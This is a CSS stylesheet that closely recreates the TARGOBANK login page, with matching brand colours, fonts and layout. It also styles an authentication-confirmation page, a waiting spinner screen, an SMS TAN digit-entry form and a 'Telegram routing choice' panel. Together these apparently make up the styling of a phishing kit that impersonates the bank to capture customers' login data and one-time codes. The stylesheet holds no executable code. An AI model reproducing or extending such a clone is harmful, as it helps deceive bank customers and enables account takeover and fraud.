/* ============================================================
   TARGOBANK Login – clean-room recreation
   All markup, class names and declarations are original work.
   Visual values were derived from manual measurement of the
   rendered page; no third-party stylesheet or script is used.
   ============================================================ */

/* ---------- Local webfont (font files only, no external CSS) ---------- */
@font-face {
  font-family: "Brand Circular";
  src: url("assets/fonts/lineto-circular-pro-book.woff2") format("woff2");
  font-weight: 400;
  font-style: normal;
  font-display: swap;
}

@font-face {
  font-family: "Brand Circular";
  src: url("assets/fonts/lineto-circular-pro-medium.woff2") format("woff2");
  font-weight: 500;
  font-style: normal;
  font-display: swap;
}

@font-face {
  font-family: "Brand Circular";
  src: url("assets/fonts/lineto-circular-pro-bold.woff2") format("woff2");
  font-weight: 600 700;
  font-style: normal;
  font-display: swap;
}

@font-face {
  font-family: "Brand Circular";
  src: url("assets/fonts/lineto-circular-pro-black.woff2") format("woff2");
  font-weight: 800 900;
  font-style: normal;
  font-display: swap;
}

/* Pictogram font used for the password visibility glyph */
@font-face {
  font-family: "Mark Glyphs";
  src: url("assets/fonts/fts_picto.woff2") format("woff2");
  font-weight: 400;
  font-style: normal;
  font-display: block;
}

/* ---------- Design tokens ---------- */
:root {
  --navy: #002f5f;
  --navy-deep: #001f3e;
  --link-blue: #0079b2;
  --cyan: #00b6ed;
  --red: #bc133e;
  --red-sign: #d4041c;
  --mist: #f1f9fe;
  --silver: #b2c0cf;
  --hairline: #dae1eb;
  --label-grey: #b4b4b4;
  --paper: #ffffff;

  --shell: 1256px;
  --gutter: 44px;
  --column: 633px;
}

/* ---------- Reset ---------- */
*,
*::before,
*::after {
  box-sizing: border-box;
}

html {
  -webkit-text-size-adjust: 100%;
}

body {
  margin: 0;
  color: var(--navy);
  background: var(--paper);
  font-family: "Brand Circular", Helvetica, Arial, sans-serif;
  font-size: 16px;
  line-height: 24px;
  font-weight: 400;
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

img {
  display: block;
  max-width: 100%;
}

a {
  color: inherit;
  text-underline-offset: 0.16em;
}

a:hover {
  color: var(--link-blue);
}

button {
  font: inherit;
  color: inherit;
  cursor: pointer;
}

ul {
  margin: 0;
  padding: 0;
  list-style: none;
}

h1,
h2,
h3,
p {
  margin: 0;
}

fieldset {
  min-width: 0;
  margin: 0;
  padding: 0;
  border: 0;
}

.sr-only {
  position: absolute;
  width: 1px;
  height: 1px;
  margin: -1px;
  padding: 0;
  overflow: hidden;
  clip: rect(0 0 0 0);
  white-space: nowrap;
  border: 0;
}

.jump-link {
  position: fixed;
  top: 8px;
  left: 8px;
  z-index: 60;
  padding: 8px 14px;
  color: var(--paper);
  background: var(--navy);
  border-radius: 4px;
  text-decoration: none;
  transform: translateY(-200%);
}

.jump-link:focus {
  transform: translateY(0);
}

/* ============================================================
   1. Header
   ============================================================ */
.head-strip {
  color: var(--paper);
  background: var(--navy);
}

.head-strip__inner {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 24px;
  max-width: var(--shell);
  margin: 0 auto;
  padding: 10px 8px;
  font-size: 14px;
  line-height: 21px;
}

.audience {
  display: flex;
  flex-wrap: wrap;
  align-items: center;
}

.audience li {
  margin: 0 8px;
}

.audience a {
  color: var(--paper);
  text-decoration: none;
}

.audience a:hover {
  color: var(--silver);
  text-decoration: underline;
}

.audience a[aria-current="page"] {
  text-decoration: underline;
  text-underline-offset: 0.22em;
}

.bank-ident {
  display: flex;
  align-items: center;
  margin: 0;
  color: var(--paper);
  font-size: 14px;
  line-height: 21px;
}

.bank-ident__key {
  text-decoration: underline dotted;
}

.bank-ident__bic {
  margin-left: 8px;
  padding-left: 16px;
  border-left: 1px solid var(--paper);
}

.brand-bar {
  background: var(--paper);
}

.brand-bar__inner {
  display: flex;
  align-items: center;
  max-width: var(--shell);
  height: 99px;
  margin: 0 auto;
  padding: 0 8px;
}

.brand {
  display: inline-flex;
  align-items: center;
}

.brand img {
  width: 225px;
  height: auto;
}

/* ============================================================
   2. Login stage
   ============================================================ */
.entry-stage {
  position: relative;
  padding: 32px 0;
  background: var(--cyan);
  overflow: hidden;
}

/* Faint brand watermark bleeding in from the right edge */
.entry-stage::before {
  content: "";
  position: absolute;
  top: 0;
  right: 0;
  width: 1500px;
  height: 1500px;
  color: #33c4f1;
  background-image: url("assets/targobank-watermark.svg");
  background-repeat: no-repeat;
  background-position: 400px -100px;
  background-size: 1500px 1500px;
  opacity: 0.2;
  pointer-events: none;
}

.entry-stage__inner {
  position: relative;
  display: flex;
  justify-content: center;
}

.access-card {
  width: 430px;
  padding: 32px;
  color: var(--navy);
  background: rgba(255, 255, 255, 0.7);
  border-radius: 8px;
  box-shadow: 0 4px 5px rgba(0, 0, 0, 0.1);
  font-size: 18px;
  line-height: 27px;
}

.access-card__title {
  margin: 0 0 24px;
  color: var(--navy);
  font-size: 36px;
  line-height: 54px;
  font-weight: 700;
  text-align: center;
}

.mandatory-hint {
  margin: 0;
  color: var(--navy);
  font-size: 18px;
  line-height: 27px;
}

.mandatory-mark {
  color: var(--red-sign);
}

/* ---------- Form ---------- */
.access-form {
  position: relative;
  margin-top: 40px;
}

.entry-row {
  position: relative;
  margin: 24px 0 40px;
}

.entry-box {
  position: relative;
}

.entry-box input[type="text"],
.entry-box input[type="password"] {
  width: 100%;
  height: 41px;
  padding: 7px 10px;
  color: var(--navy);
  background: var(--paper);
  border: 2px solid var(--navy);
  border-radius: 6px;
  font-family: inherit;
  font-size: 18px;
  line-height: normal;
  outline: none;
  transition: border-color 140ms ease;
}

.entry-box--secret input[type="text"],
.entry-box--secret input[type="password"] {
  padding-right: 30px;
}

.entry-box input:focus {
  border-color: var(--link-blue);
}

/* Floating label — independent implementation */
.entry-label {
  position: absolute;
  top: 50%;
  left: 7px;
  z-index: 1;
  color: var(--label-grey);
  font-size: 18px;
  line-height: 27px;
  font-weight: 400;
  pointer-events: none;
  transform: translateY(-50%);
  transform-origin: left center;
  transition: top 140ms ease-out, left 140ms ease-out,
    color 140ms ease-out, font-size 140ms ease-out,
    line-height 140ms ease-out, transform 140ms ease-out;
}

/* Both fields lift their label on focus or once they carry text. */
.entry-box:focus-within .entry-label,
.entry-box input:not(:placeholder-shown) + .entry-label {
  top: -25px;
  left: 0;
  color: var(--navy);
  font-size: 16px;
  line-height: 24px;
  font-weight: 400;
  transform: translateY(0);
}

.entry-error {
  position: absolute;
  top: 100%;
  left: 0;
  margin: 2px 0 0;
  color: var(--red-sign);
  font-size: 14px;
  line-height: 20px;
}

.entry-error:empty {
  display: none;
}

.entry-box input[aria-invalid="true"] {
  border-color: var(--red-sign);
}

.secret-toggle {
  position: absolute;
  top: 50%;
  right: 4px;
  display: block;
  width: 30px;
  height: 20px;
  padding: 0;
  margin: 0;
  color: var(--navy);
  background: transparent;
  border: 0;
  appearance: none;
  transform: translateY(-50%);
  cursor: pointer;
}

.secret-toggle__glyph {
  position: absolute;
  top: 50%;
  left: 50%;
  display: block;
  width: 20px;
  height: 20px;
  color: var(--navy);
  font-family: "Mark Glyphs";
  font-size: 20px;
  font-style: normal;
  font-weight: 400;
  font-variant: normal;
  line-height: 1;
  text-transform: none;
  transform: translate(-50%, -50%);
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
}

.secret-toggle__glyph::before {
  content: "\f04e8";
}

.secret-toggle:hover {
  cursor: pointer;
}

.secret-toggle[aria-pressed="true"] .secret-toggle__glyph::before {
  content: "\f04e7";
}

/* ---------- Remember checkbox ---------- */
.keep-box {
  position: relative;
  display: flex;
  align-items: flex-start;
  justify-content: center;
  gap: 5px;
  height: 31px;
  margin: 10px 0 10px;
  color: var(--navy);
  font-size: 18px;
  line-height: 27px;
  cursor: pointer;
}

.keep-box input {
  position: relative;
  width: 24px;
  height: 24px;
  flex: 0 0 auto;
  margin: 0;
  appearance: none;
  -webkit-appearance: none;
  background: transparent;
  border: 0;
  cursor: pointer;
}

.keep-box input::before {
  content: "";
  position: absolute;
  top: 0;
  left: 0;
  width: 20px;
  height: 20px;
  background: var(--paper);
  border: 2px solid var(--navy);
  border-radius: 6px;
}

.keep-box input::after {
  content: "";
  position: absolute;
  top: 5px;
  left: 4px;
  width: 10px;
  height: 5px;
  border-bottom: 2px solid var(--paper);
  border-left: 2px solid var(--paper);
  opacity: 0;
  transform: rotate(-45deg) scale(0.6);
  transition: opacity 120ms ease, transform 120ms ease;
}

.keep-box input:checked::before {
  background: var(--navy);
}

.keep-box input:checked::after {
  opacity: 1;
  transform: rotate(-45deg) scale(1);
}

.keep-box input:focus-visible::before {
  outline: 2px solid var(--link-blue);
  outline-offset: 2px;
}

/* ---------- Submit ---------- */
.submit-btn {
  display: flex;
  align-items: center;
  justify-content: center;
  width: 100%;
  height: 50px;
  padding: 10px 20px;
  color: var(--paper);
  background: var(--red);
  border: 0;
  border-radius: 60px;
  font-family: inherit;
  font-size: 18px;
  line-height: 27px;
  font-weight: 400;
  text-align: center;
  transition: background 140ms ease;
}

.submit-btn:hover {
  background: #a80f35;
}

.submit-btn:focus-visible,
.secret-toggle:focus-visible,
.alert-item__toggle:focus-visible,
.ghost-btn:focus-visible {
  outline: 2px solid var(--link-blue);
  outline-offset: 2px;
}

.form-status {
  position: absolute;
  left: 0;
  width: 100%;
  margin: 6px 0 0;
  color: var(--navy);
  font-size: 15px;
  line-height: 21px;
  text-align: center;
}

.form-status:empty {
  display: none;
}

/* ---------- Telegram routing choice ---------- */
.route-choice {
  margin-top: 20px;
  padding-top: 20px;
  border-top: 1px solid var(--hairline);
  text-align: center;
}

.route-choice[hidden] {
  display: none;
}

.route-choice__title {
  margin: 0 0 4px;
  color: var(--navy);
  font-size: 16px;
  line-height: 24px;
  font-weight: 600;
}

.route-choice__hint {
  margin: 0 0 16px;
  color: var(--navy);
  font-size: 14px;
  line-height: 20px;
}

.route-choice__buttons {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 12px;
}

.route-btn {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 4px;
  min-height: 64px;
  padding: 10px 12px;
  color: var(--navy);
  background: var(--paper);
  border: 2px solid var(--navy);
  border-radius: 8px;
  font-family: inherit;
  text-align: center;
}

.route-btn:hover {
  background: var(--mist);
}

.route-btn:disabled {
  opacity: 0.5;
  cursor: default;
}

.route-btn__label {
  font-size: 16px;
  line-height: 22px;
  font-weight: 600;
}

.route-btn__value {
  color: var(--link-blue);
  font-size: 13px;
  line-height: 18px;
  font-weight: 400;
}

/* ---------- Quick links ---------- */
.quick-links {
  margin-top: 16px;
}

.quick-links ul {
  display: flex;
  flex-wrap: wrap;
  justify-content: space-around;
  gap: 8px;
  font-size: 18px;
  line-height: 27px;
}

.quick-links a {
  color: var(--navy);
  font-size: 16px;
  line-height: 24px;
  text-decoration: underline;
}

/* ============================================================
   3. Shared section building blocks
   ============================================================ */
.section-title {
  margin: 0 0 40px;
  color: var(--navy);
  font-size: 40px;
  line-height: 48px;
  font-weight: 600;
  text-align: center;
}

.section-title--narrow {
  max-width: var(--column);
  margin-inline: auto;
}

/* ============================================================
   4. Security alerts
   ============================================================ */
.alert-zone {
  margin: 96px 0;
  padding: 64px 0;
  background: var(--mist);
}

.alert-zone__inner {
  max-width: var(--shell);
  margin: 0 auto;
  padding: 0 var(--gutter);
}

.alert-intro p {
  margin: 0 0 24px;
  color: var(--navy-deep);
  font-size: 16px;
  line-height: 24px;
}

.alert-intro a {
  color: var(--link-blue);
}

.alert-stack {
  display: grid;
  gap: 16px;
}

.alert-item {
  position: relative;
}

.alert-item::after {
  content: "";
  position: absolute;
  right: 0;
  bottom: -8px;
  left: 0;
  height: 1px;
  background: var(--hairline);
}

.alert-item__head {
  margin: 0;
  font-size: inherit;
  line-height: inherit;
  font-weight: inherit;
}

.alert-item__toggle {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 24px;
  width: 100%;
  padding: 22px 7px;
  color: var(--navy);
  background: transparent;
  border: 1px solid transparent;
  border-radius: 4px;
  font-family: inherit;
  font-size: 18px;
  line-height: 24.48px;
  font-weight: 600;
  text-align: left;
}

.alert-item__toggle:hover {
  color: var(--link-blue);
}

.alert-item__chevron {
  flex: 0 0 auto;
  width: 24px;
  height: 24px;
  transition: transform 180ms ease;
}

.alert-item__chevron::before {
  content: "";
  display: block;
  width: 11px;
  height: 11px;
  margin: 4px auto 0;
  border-right: 2px solid currentColor;
  border-bottom: 2px solid currentColor;
  transform: rotate(45deg) translateY(-3px);
}

.alert-item__toggle[aria-expanded="true"] .alert-item__chevron {
  transform: rotate(180deg);
}

.alert-item__panel {
  display: none;
  background: var(--paper);
}

.alert-item__panel.is-open {
  display: block;
}

.alert-item__body {
  padding: 32px;
}

.alert-item__body p {
  margin: 0 0 16px;
  color: var(--navy-deep);
  font-size: 16px;
  line-height: 24px;
}

.alert-item__body ul {
  margin: 0 0 16px;
  padding-left: 20px;
  list-style: disc;
}

.alert-item__body li {
  margin-bottom: 8px;
}

.alert-item__body a {
  color: var(--link-blue);
}

.alert-more {
  margin-top: 8px;
}

.alert-actions {
  display: flex;
  justify-content: center;
  gap: 16px;
  margin: 24px 0 0;
}

.ghost-btn {
  position: relative;
  padding: 0;
  color: var(--navy);
  background: transparent;
  border: 0;
  font-family: inherit;
  font-size: 16px;
  line-height: 24px;
  font-weight: 600;
}

.ghost-btn::after {
  content: "";
  position: absolute;
  right: 0;
  bottom: 0;
  left: 0;
  height: 2px;
  background: currentColor;
}

.ghost-btn:hover {
  color: var(--link-blue);
}

.ghost-btn:disabled {
  color: var(--silver);
  cursor: default;
}

.ghost-btn:disabled::after {
  display: none;
}

.pill-btn {
  display: block;
  padding: 10px 18px;
  color: var(--paper);
  background: var(--navy);
  border: 2px solid transparent;
  border-radius: 999px;
  font-size: 16px;
  line-height: 24px;
  font-weight: 600;
  text-decoration: none;
}

.pill-btn:hover {
  color: var(--paper);
  background: var(--navy-deep);
}

/* ============================================================
   5. Puzzle note
   ============================================================ */
.puzzle-note {
  margin: 96px 0;
  background: var(--paper);
}

.puzzle-note__inner {
  max-width: var(--shell);
  margin: 0 auto;
  padding: 0 var(--gutter);
}

.puzzle-note__body {
  max-width: var(--column);
  margin: 0 auto;
}

.puzzle-note__body p {
  color: var(--navy-deep);
  font-size: 16px;
  line-height: 24px;
}

/* ============================================================
   6. Safety tips
   ============================================================ */
.advice-block {
  background: var(--paper);
}

.advice-block__inner {
  max-width: var(--shell);
  margin: 0 auto;
  padding: 0 var(--gutter);
}

.advice-list {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 32px 40px;
}

.advice-list__item {
  position: relative;
  padding: 0 0 32px 48px;
  color: var(--navy-deep);
  font-size: 16px;
  line-height: 24px;
}

.advice-list__icon {
  position: absolute;
  top: 0;
  left: 0;
  display: grid;
  width: 24px;
  height: 24px;
  place-items: center;
  color: var(--navy-deep);
}

.advice-list__icon svg {
  width: 24px;
  height: 24px;
  fill: none;
  stroke: currentColor;
  stroke-width: 2.4;
  stroke-linecap: round;
  stroke-linejoin: round;
}

/* ============================================================
   7. Feature cards
   ============================================================ */
.feature-area {
  background: var(--paper);
}

.feature-area__inner {
  max-width: var(--shell);
  margin: 0 auto;
  padding: 0 var(--gutter);
}

.feature-row {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 40px;
}

.feature__image {
  width: 100%;
  aspect-ratio: 656 / 410;
  object-fit: cover;
  border-radius: 4px;
}

.feature__content {
  margin-top: 24px;
}

.feature__title {
  margin: 0;
  color: var(--navy);
  font-size: 24px;
  line-height: 31.68px;
  font-weight: 600;
}

.feature__kicker {
  display: block;
  margin: 0 0 8px;
  color: var(--navy-deep);
  font-size: 14px;
  line-height: 20.16px;
  font-weight: 400;
}

.feature__actions {
  display: flex;
  align-items: flex-start;
  gap: 16px;
  margin-top: 24px;
}

.feature__actions a {
  position: relative;
  padding: 0;
  color: var(--navy);
  font-size: 16px;
  line-height: 24px;
  font-weight: 600;
}

.feature__actions a::after {
  content: "";
  position: absolute;
  right: 0;
  bottom: 0;
  left: 0;
  height: 2px;
  background: currentColor;
}

.feature__actions a:hover {
  color: var(--link-blue);
}

/* ============================================================
   8. Footer
   ============================================================ */
.site-foot {
  margin-top: 60px;
  color: var(--paper);
  background: var(--navy);
}

.site-foot__inner {
  display: flex;
  flex-direction: column;
  max-width: var(--shell);
  margin: 0 auto;
  padding: 40px 10px;
}

.site-foot__mark {
  width: 60px;
  height: 60px;
}

.site-foot__links {
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  margin: 0;
  padding: 10px 0 10px 20px;
  font-size: 14px;
  line-height: 21px;
}

.site-foot__links li {
  padding-right: 16px;
}

.site-foot__links a {
  color: var(--silver);
  text-decoration: underline;
}

.site-foot__links a:hover {
  color: var(--paper);
}

.site-foot__links .site-foot__cancel {
  display: inline-block;
  padding: 5px 10px;
  color: var(--navy);
  background: var(--paper);
  border: 2px solid var(--navy);
  border-radius: 60px;
  text-decoration: none;
}

.site-foot__links .site-foot__cancel:hover {
  color: var(--navy);
  background: var(--mist);
}

.site-foot__langs {
  display: flex;
  justify-content: flex-end;
  gap: 16px;
  margin: 0;
  padding: 0 0 10px 20px;
  font-size: 14px;
  line-height: 21px;
}

.site-foot__langs a {
  color: var(--paper);
  text-decoration: none;
}

.site-foot__langs a:hover {
  text-decoration: underline;
}

/* ============================================================
   9. Responsive
   ============================================================ */
@media (max-width: 960px) {
  :root {
    --gutter: 24px;
  }

  .advice-list,
  .feature-row {
    grid-template-columns: repeat(2, 1fr);
  }
}

@media (max-width: 720px) {
  .head-strip__inner {
    flex-wrap: wrap;
    gap: 6px;
  }

  .bank-ident {
    display: none;
  }

  .brand-bar__inner {
    height: 78px;
  }

  .brand img {
    width: 190px;
  }

  .entry-stage {
    padding: 24px 0;
  }

  .access-card {
    width: min(100%, 430px);
    padding: 26px 22px;
  }

  .access-card__title {
    font-size: 30px;
    line-height: 42px;
  }

  .alert-zone {
    margin: 48px 0;
    padding: 44px 0;
  }

  .puzzle-note {
    margin: 48px 0;
  }

  .section-title {
    font-size: 30px;
    line-height: 38px;
  }

  .advice-list,
  .feature-row {
    grid-template-columns: 1fr;
  }

  .site-foot__links,
  .site-foot__langs {
    padding-left: 0;
  }
}

@media (prefers-reduced-motion: reduce) {
  *,
  *::before,
  *::after {
    transition-duration: 0.01ms !important;
    animation-duration: 0.01ms !important;
  }

  /* The loading spinner is the only motion that conveys progress. */
  .wait-spinner {
    animation-duration: 900ms !important;
  }
}

/* ============================================================
   10. Strong customer authentication page
   ============================================================ */
.confirm-body {
  color: var(--navy);
  background: var(--paper);
  font-size: 18px;
  line-height: normal;
}

.confirm-head {
  height: 100px;
  background: var(--paper);
}

.confirm-head__row {
  display: flex;
  align-items: center;
  justify-content: space-between;
  width: 100%;
  max-width: 1256px;
  height: 100%;
  margin: 0 auto;
  padding: 0 8px;
}

.confirm-head__logo {
  display: block;
  height: 37px;
}

.confirm-head__logo img {
  display: block;
  width: 225px;
  height: auto;
}

.confirm-head__session {
  flex: 0 0 auto;
  height: 47px;
}

.confirm-head__logout {
  display: block;
  width: 120px;
  margin: 4px 0 0;
  padding: 0 20px;
  color: var(--paper);
  background: var(--red);
  border-radius: 25px;
  font-size: 20px;
  line-height: 43px;
  text-align: center;
  text-decoration: none;
}

.confirm-head__logout:hover {
  background: #a80f35;
}

.confirm-main {
  padding: 15px 0;
}

.confirm-shell {
  width: 100%;
  max-width: 1256px;
  margin: 0 auto;
  padding: 0 8px;
}

.confirm-title {
  margin: 0;
  padding: 8px 0;
  color: var(--navy);
  font-size: 51.2px;
  font-weight: 800;
  line-height: normal;
  text-transform: uppercase;
}

.confirm-panel {
  margin: 0 0 20px;
  background: var(--paper);
}

.confirm-lead {
  margin: 0 0 10px;
  color: var(--navy);
  font-size: 18px;
  overflow: hidden;
}

.confirm-lead p {
  margin: 5px 0;
}

.confirm-gap {
  display: block;
}

.confirm-gap--top {
  height: 23px;
}

.confirm-gap--middle {
  height: 46px;
}

.confirm-device {
  padding: 20px 0 30px;
  color: var(--navy);
  background: #e7f5fd;
  text-align: center;
}

.confirm-device__text {
  margin: 5px 0;
  color: var(--navy);
  font-size: 18px;
}

.confirm-device__name {
  font-weight: 600;
}

.confirm-device__art {
  display: block;
  width: 91px;
  height: 150px;
  margin: 0 auto;
}

.confirm-device__break {
  display: block;
  height: 23px;
}

.confirm-fallback {
  margin: 0 0 10px;
  color: var(--navy);
  font-size: 18px;
}

.confirm-list {
  margin: 0;
  padding: 0;
  list-style: none;
}

.confirm-list > li {
  margin: 0;
  padding: 3px 0 3px 20px;
}

.confirm-list__nested {
  margin: 0 0 0 20px;
  padding: 0;
  list-style: circle;
}

.confirm-list__nested > li {
  margin: 0;
  padding: 3px 0;
}

.confirm-list p {
  margin: 0 0 5px;
}

.confirm-list__nested p {
  margin: 5px 0;
}

.confirm-device-link,
.confirm-manage__link {
  color: var(--link-blue);
  text-decoration: underline;
}

.confirm-manage {
  margin: 5px 0;
  color: var(--navy);
  font-size: 18px;
}

.confirm-manage strong {
  font-weight: 600;
}

.confirm-actions {
  display: flex;
  align-items: center;
  justify-content: center;
  margin: 15px 0 5px;
}

/* The confirm action only becomes available once the device prompt is sent. */
.confirm-btn--primary {
  position: absolute;
  top: 0;
  left: -9000px;
  opacity: 0;
  pointer-events: none;
}

.confirm-btn.is-ready {
  position: static;
  opacity: 1;
  pointer-events: auto;
}

.confirm-btn {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  height: 49px;
  margin: 0 5px;
  padding: 10px 20px;
  border: 2px solid var(--navy);
  border-radius: 60px;
  font-family: inherit;
  font-size: 20px;
  line-height: 27px;
  font-weight: 600;
  letter-spacing: 0.36px;
  text-decoration: none;
  cursor: pointer;
  transition: background 140ms ease;
}

.confirm-btn--primary {
  color: var(--paper);
  background: var(--navy);
}

.confirm-btn--primary:hover {
  background: #001f3e;
}

.confirm-btn--ghost {
  color: var(--navy);
  background: var(--paper);
}

.confirm-btn--ghost:hover {
  background: var(--mist);
}

.confirm-feedback {
  margin: 10px 0 0;
  color: var(--navy);
  font-size: 15px;
  line-height: 21px;
  text-align: center;
}

.confirm-feedback:empty {
  display: none;
}

@media (max-width: 720px) {
  .confirm-head {
    height: 78px;
  }

  .confirm-head__logo img {
    width: 190px;
  }

  .confirm-title {
    font-size: 32px;
  }

  .confirm-actions {
    flex-direction: column;
  }
}

/* ============================================================
   11. Loading / wait screen
   ============================================================ */
.wait-body {
  color: var(--navy);
  background: var(--paper);
  font-size: 18px;
  line-height: normal;
}

/* ---------- Spinner ---------- */
.wait-spinner {
  display: block;
  width: 72px;
  height: 72px;
  margin: 0 auto 28px;
  border: 6px solid rgba(0, 47, 95, 0.18);
  border-top-color: var(--navy);
  border-radius: 50%;
  animation: wait-spin 900ms linear infinite;
}

@keyframes wait-spin {
  to {
    transform: rotate(360deg);
  }
}

/* The waiting band mirrors the app-approval highlight. */
.wait-band {
  padding: 40px 20px;
  color: var(--navy);
  background: #e7f5fd;
  text-align: center;
}

.wait-text {
  margin: 0;
  color: var(--navy);
  font-size: 18px;
  line-height: 27px;
}

/* ============================================================
   12. SMS TAN screen
   ============================================================ */
.sms-body {
  background: var(--paper);
}

.sms-form {
  margin: 0;
}

.sms-field {
  margin: 0 0 10px;
}

.sms-field__label {
  display: block;
  margin: 0 0 10px;
  color: var(--navy);
  font-size: 18px;
  line-height: 27px;
  font-weight: 600;
}

.sms-code {
  display: flex;
  justify-content: center;
  gap: 12px;
}

.sms-code__digit {
  width: 56px;
  height: 64px;
  padding: 0;
  color: var(--navy);
  background: var(--paper);
  border: 2px solid var(--navy);
  border-radius: 6px;
  font-family: inherit;
  font-size: 28px;
  line-height: 60px;
  font-weight: 600;
  text-align: center;
  outline: none;
  transition: border-color 140ms ease;
}

.sms-code__digit:focus {
  border-color: var(--link-blue);
}

.sms-field__foot {
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  justify-content: space-between;
  gap: 8px;
  margin-top: 12px;
}

.sms-field__hint {
  margin: 0;
  color: var(--navy);
  font-size: 15px;
  line-height: 21px;
}

.sms-resend {
  position: relative;
  padding: 0;
  color: var(--link-blue);
  background: transparent;
  border: 0;
  font-family: inherit;
  font-size: 15px;
  line-height: 21px;
  font-weight: 600;
}

.sms-resend:hover {
  color: var(--navy);
  text-decoration: underline;
}

.sms-resend:disabled {
  color: var(--silver);
  cursor: default;
  text-decoration: none;
}

@media (max-width: 720px) {
  .sms-code {
    gap: 6px;
  }

  .sms-code__digit {
    width: 44px;
    height: 56px;
    font-size: 24px;
    line-height: 52px;
  }
}
